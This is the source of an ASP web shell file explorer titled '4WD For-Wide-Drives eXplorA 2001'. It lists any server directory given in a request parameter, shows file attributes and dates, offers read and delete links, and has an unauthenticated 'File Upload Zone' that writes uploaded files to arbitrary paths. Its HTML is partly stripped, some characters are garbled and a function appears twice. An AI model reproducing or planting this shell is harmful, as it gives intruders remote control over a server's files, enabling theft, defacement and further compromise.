<%
strDir = Request("strPath")
if strDir = "" Then strDir = Server.MapPath("/")
If Right(strDir, 1) <> "\" Then strDir = strDir & "\"
strParse = strDir
lngPos = InStr(1, strParse, "\")
strOut = "![]()
" & Left(strParse, lngPos) & "
"
x = 2
Do While lngPos <> 0
oldPos = lngPos
lngPos = InStr(oldPos + 1, strParse, "\")
if lngPos = 0 Then Exit Do
For y = 1 to x
strIndent = strIndent & " "
Next 'y
strOut = strOut & strIndent & "![]()
" & Mid(strParse, oldPos + 1, lngPos - (oldPos + 1)) & "
"
x = x + 2
if lngPos = Len(strParse) Then Exit Do
Loop
' Response.Write("
")
Response.Write(strOut)
strIndent = strIndent & " "
Set objFSObject = CreateObject("Scripting.FileSystemObject")
Set objFolder = objFSObject.GetFolder(strDir)
Set colFolders = objFolder.SubFolders
For Each intFol in colFolders
strFName = intFol.name
Response.Write(strIndent & "![]() " & strFName &"
" & vbcrlf)
Next 'intFol
Set colFiles = objFolder.Files
%>
|
������ 4WD ������
For-Wide-Drives
eXplorA 2001 a |
| name |
type |
attrib |
build |
access |
modificate |
size |
commands |
<%
for each colfile in colfiles%>
<%=GenerateFileInformation(colFile)%>
<%
next
%>
<%
function Start()
If Request.ServerVariables("REQUEST_METHOD") = "POST" Then
Set Fields = GetUpload()
FilePath = Request.QueryString("strPath")
if len(FilePath) <> 0 then
if mid(FilePath, len(FilePath), 1) <> "\" then FilePath = FilePath & "\"
FilePath = FilePath & Fields("File1").Filename
else
FilePath = Server.MapPath(".") & "\" & Fields("File1").FileName
end if
Fields("File1").Value.SaveAs FilePath
strFile = Request.QueryString("strFile")
strFileName = right(strFile,len(strFile) - instrrev(strFile,"\"))
Response.redirect "explore.asp?strPath=" & Request.QueryString("strPath")
End If
end function
%>
._.-�'�-._.->File Upload Zone<-._.-�'�-._.
<%
Function ShowFileAttr(File) ' File can be a file or folder
Dim S
Dim Attr
Attr = File.Attributes
If Attr = 0 Then
ShowFileAttr = "Normal"
Exit Function
End If
If Attr And FileAttrDirectory Then S = S & "Dir "
If Attr And FileAttrReadOnly Then S = S & "R "
If Attr And FileAttrHidden Then S = S & "H "
If Attr And FileAttrSystem Then S = S & "S "
If Attr And FileAttrVolume Then S = S & "V "
If Attr And FileAttrArchive Then S = S & "A "
If Attr And FileAttrAlias Then S = S & "Al "
If Attr And FileAttrCompressed Then S = S & "Compressed "
ShowFileAttr = S
End Function
Function GenerateFileInformation(File)
Dim S
' jFilePath = replace(File.Path,"\","\\")
' jFilePath = replace(jFilePath,"'","\'")
S = "| " & File.Name & " | "
S = S & "" & File.Type & " | "
S = S & "" & ShowFileAttr(File) & " | "
S = S & "" & File.DateCreated & " | "
S = S & ""
on error resume next
S = S & File.DateLastAccessed
err.clear
on error goto 0
S = S & " | "
S = S & "" & File.DateLastModified & " | "
S = S & "" & File.Size & " | "
S = S & "" & DelCopyRen(File) & " |
"
GenerateFileInformation = S
End Function
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' ShowFileAttr
' Purpose:
' Generates a string describing the attributes of a file or folder.
' Demonstrates the following
' - File.Attributes
' - Folder.Attributes
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Function ShowFileAttr(File) ' File can be a file or folder
Dim S
Dim Attr
Attr = File.Attributes
If Attr = 0 Then
ShowFileAttr = "Normal"
Exit Function
End If
If Attr And FileAttrDirectory Then S = S & "Dir "
If Attr And FileAttrReadOnly Then S = S & "R "
If Attr And FileAttrHidden Then S = S & "H "
If Attr And FileAttrSystem Then S = S & "S "
If Attr And FileAttrVolume Then S = S & "V "
If Attr And FileAttrArchive Then S = S & "A "
If Attr And FileAttrAlias Then S = S & "Al "
If Attr And FileAttrCompressed Then S = S & "Compressed "
ShowFileAttr = S
End Function
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' ShowDriveType
' Purpose:
' Generates a string describing the drive type of a given Drive object.
' Demonstrates the following
' - Drive.DriveType
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Function ShowDriveType(Drive)
Dim S
Select Case Drive.DriveType
Case DriveTypeRemovable
S = "Removable"
Case DriveTypeFixed
S = "Fixed"
Case DriveTypeNetwork
S = "Network"
Case DriveTypeCDROM
S = "CD-ROM"
Case DriveTypeRAMDisk
S = "RAM Disk"
Case Else
S = "Unknown"
End Select
ShowDriveType = S
End Function
function spazia(stringa,lunghezzatotale)
spaz = ""
for i = 1 to lunghezzatotale - len(stringa)
spaz = spaz & " "
next
spazia = spaz
end function
function checkDownload()
Dim ADOstream
on error resume next
'Create a stream object
set ADOstream = Server.CreateObject("ADODB.Stream")
if ADOstream is nothing then
checkDownload = "FSO"
else
checkDownload = "ADO"
end if
set ADOstream = nothing
on error goto 0
end function
Function DelCopyRen(File)
Dim S
S = "" & "Read " & ""
S = S & "" & "Delete" & ""
S = S & ""
S = S & ""
DelCopyRen = S
End Function
%>